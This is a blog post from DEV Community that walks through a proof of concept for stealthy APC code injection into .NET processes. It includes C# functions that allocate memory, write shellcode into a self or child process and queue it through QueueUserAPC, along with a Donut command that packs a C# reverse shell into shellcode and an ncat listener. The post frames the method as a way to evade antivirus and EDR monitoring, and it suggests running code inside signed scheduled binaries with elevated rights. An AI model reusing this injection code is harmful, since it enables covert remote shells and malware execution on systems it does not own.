DEV Community

wireless90
wireless90

Posted on

Stealthy Code Injection in a Running .NET Process

Stealthy Code Injection in a Running .NET Process

image

Prologue

For the past few months, I gained interest in understanding more on the Portable Executable(PE) format and Process Injection. Among the many Process Injection techniques available, I was intrigued by APC INJECTION.

Asynchronous Process Calls (APC)

Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread. Each thread has a queue of APCs which are waiting for execution upon the target thread entering alertable state. A thread enters an alertable state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alertable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread.

The above, taken from Ashkan Hosseini's writeup (see credits below), gives a very good overview of APCs and how malwares could possible use them for Process Injection.

Basically,

image

image

So where are we going with this?

The core of this injection technique is the function QueueUserAPC.

QueueUserApc adds the shellcode as an asynchronous function which will be called when the thread becomes alertable.
image

One might think that an Antivirus or an EDR could simply hook into this function and flag whoever uses it. However, this is a frequently used function for Asynchronous Programming. So the security solutions might monitor a chain of call from QueueUserApc into ResumeThread or some other functions like CreateThread, CreateRemoteThread API calls which are more popular and hence usually more scrutinized by AV/EDR vendors.

What if there exists a way, in the realm of .Net Applications, where the thread is set to alertable always, not by us, but by the Common Language Runtime(CLR)?

CLR is Our Friend

When we compile a .Net code, it is compiled into Microsoft Intermediate Language (MSIL) code. This is in the format of a .exe or a .dll. However these PE files do not contain the machine instructions. A common term for them is Managed Code. They are machine independant. As long as you have the right .Net Framework installed, you are good to go.

The CLR Loader loads this Managed Code and sends the instructions into the Just-in-time compiler which converts the MSIL code at runtime to machine code which is executed by the CPU.

image

Interestingly enough, The image above shows that the CLR ultimately handles the threading support as well. Threads in .NET are handled by the CLR for you and it might call one of the alertable methods listed above.

A statement in C# such as,

Thread.Sleep(1000);
Enter fullscreen mode Exit fullscreen mode

will eventually be compiled by the JIT and call one of the alertable methods, SleepEX(..).

The thread is now lying dormant, sleeping. Unless, its APC queue has some function that it needs to execute.

The interesting part is, we don't even need our target executable to be calling Thread.Sleep.

This amazing article and research by Dwight Hohnstein, shows that

Due to the nature of the .NET compiled language runtime, user asynchronous procedure calls (APCs) are processed upon the exit of any .NET assembly without manually triggering an alertable state from managed code.

It shows that the CLR always calls WaitForMultipleObjectsEx when ever the program exits!

What this means for us?

This means that ALL .NET executables, even if they do not have any alertable calls, are loaded by the CLR and upon exit of the .Net executable, the CLR will call an alertable method.

This means we can easily inject our shellcode in the form of MSIL code, into .net executables, without overly using the suspicious chain of API calls, and eventually, when the target program exits, the thread would be set to an alertable state as the CLR calls WaitForMultipleObjectsEx, and our shellcode executes.

This inspired me to write a POC to see for myself if it really works.

I am going to omit some code in these examples, so as to make it shorter.

The full source code is in the repository.

Let's first create our ShellCode

The shellcode is going to be a simple reverse shell written in C#. Its a reverse shell that connects to port 3333

Code can be found here;

I then used Donut to compile our MSIL binary into a shellcode.

D:\Users\Razali\Source\Repos\donut>donut.exe -a2 -f2 -cShellCode.Program -mMain -o "myshellcode.txt" "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"

  [ Donut shellcode generator v0.9.3
  [ Copyright (c) 2019 TheWover, Odzhan

  [ Instance type : Embedded
  [ Module file   : "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
  [ Entropy       : Random names + Encryption
  [ File type     : .NET EXE
  [ Target CPU    : amd64
  [ AMSI/WDLP     : continue
  [ Shellcode     : "myshellcode.txt"
Enter fullscreen mode Exit fullscreen mode

-a2 specifies to compile the shellcode to amd64

-f2 specifies to encode it to base64

-c specifies the <namespace>.<class name>

-m specifies the Method name

-o specifies the output filename

Lets next set up our listener

I will be using netcat for all examples below, to listen for a connection and interact with the shell.

C:\Users\Razali\Desktop\ncat-portable-5.59BETA1>ncat -l 3333

Enter fullscreen mode Exit fullscreen mode

Self Injection

This example demonstrates that after injecting the shellcode within the calling process, when the process exits, the shellcode gets called. At no part of the code did we put any alertable calls.

static void SelfInject(byte[] shellcode)
{
    IntPtr allocatedSpacePtr = VirtualAlloc(0, shellcode.Length, 0x00001000, 0x40);
    Marshal.Copy(shellcode, 0, allocatedSpacePtr, shellcode.Length);
    QueueUserAPC(allocatedSpacePtr, GetCurrentThread(), 0);
    Console.WriteLine("Goodbye");
}
Enter fullscreen mode Exit fullscreen mode

Henceforth, it confirms that when a .NET process exits, the CLR did call an alertable method on behalf of me, which invokes the shellcode, and we get a shell.

image

Injection using Race Condition

As stated in the documentattion of QueueUserAPC, if we queue an APC before the main thread starts, the main thread would first prioritize running all the APC(s) in the queue before running the main code.

While experimenting, I found that a Console Application is sometimes too quick to perform a race condition on, as the CLR seems to load and start the main thread even before I finish writing my APC into the queue.

Thus, I tried injecting the APC into a Windows Form, which takes a longer time for the UI Thread to be set up by the CLR, allowing me to quickly inject my APC before it begins. What we expect to observe is to achieve a shell without even exiting the .NET process, as the shell is achieved even before the UI Thread(main thread) starts. Since the shell is being run by the UI Thread, we won't see the Windows Form as the UI Thread is busy with my shell.

static void InjectRunningProcessUsingRaceCondition(byte[] shellcode, string victimProcessPath)
{
    STARTUPINFO startupinfo = new STARTUPINFO();
    PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();

    CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);

    IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
    IntPtr bytesWritten = IntPtr.Zero;

    WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);

    Process process = Process.GetProcessById(processInformation.dwProcessId);
    foreach (ProcessThread thread in process.Threads)
    {
        IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
        VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
        QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
    }
}
Enter fullscreen mode Exit fullscreen mode

Henceforth, it confirms that it is possible to race against the Main thread, and inject our APC before it starts, which results in the Main thread executing our APC before the actual code.

image

Injecting into any Running .NET Process

As confirmed in our first example, our APC would get executed after the program exits.

I simulated it by simply letting my Windows Form boot up first, giving it a headstart by pausing using Thread.Sleep in my injector code, after which I perform the injection.

static void InjectRunningProcess(byte[] shellcode, string victimProcessPath)
{
    STARTUPINFO startupinfo = new STARTUPINFO();
    PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();

    CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);

    //Thread sleep is used here to give the victim process time to load and run its main thread.
    //We do not want to race against it.
    Thread.Sleep(3000);

    IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
    IntPtr bytesWritten = IntPtr.Zero;

    WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
    Process process = Process.GetProcessById(processInformation.dwProcessId);
    foreach (ProcessThread thread in process.Threads)
    {
        IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
        VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
        QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
    }
}
Enter fullscreen mode Exit fullscreen mode

As expected, the moment I close the application, we gain a reverse shell.

image

The above image shows that the Form starts, after which the injection of the APC occurs. No connection happens as expected.

image

After exiting the form, we gain a reverse shell.

Conclusion

We saw that the CLR would always make the main thread alertable, which we can leverage on using the QueueUserAPC injection method. Although we could call the alertable method ourselves, allowing the CLR to call it for us makes it more stealthy. We also saw that this could be exploited for any .NET executables.

As Dwight Hohnstein concluded in his blogpost, one can then leverage on hooking into the task schedular events and injecting into one of the scheduled programs. This would allow our code to be ran in a "signed" binary, or be ran with leveraged permissions.

Credits

Discussion (0)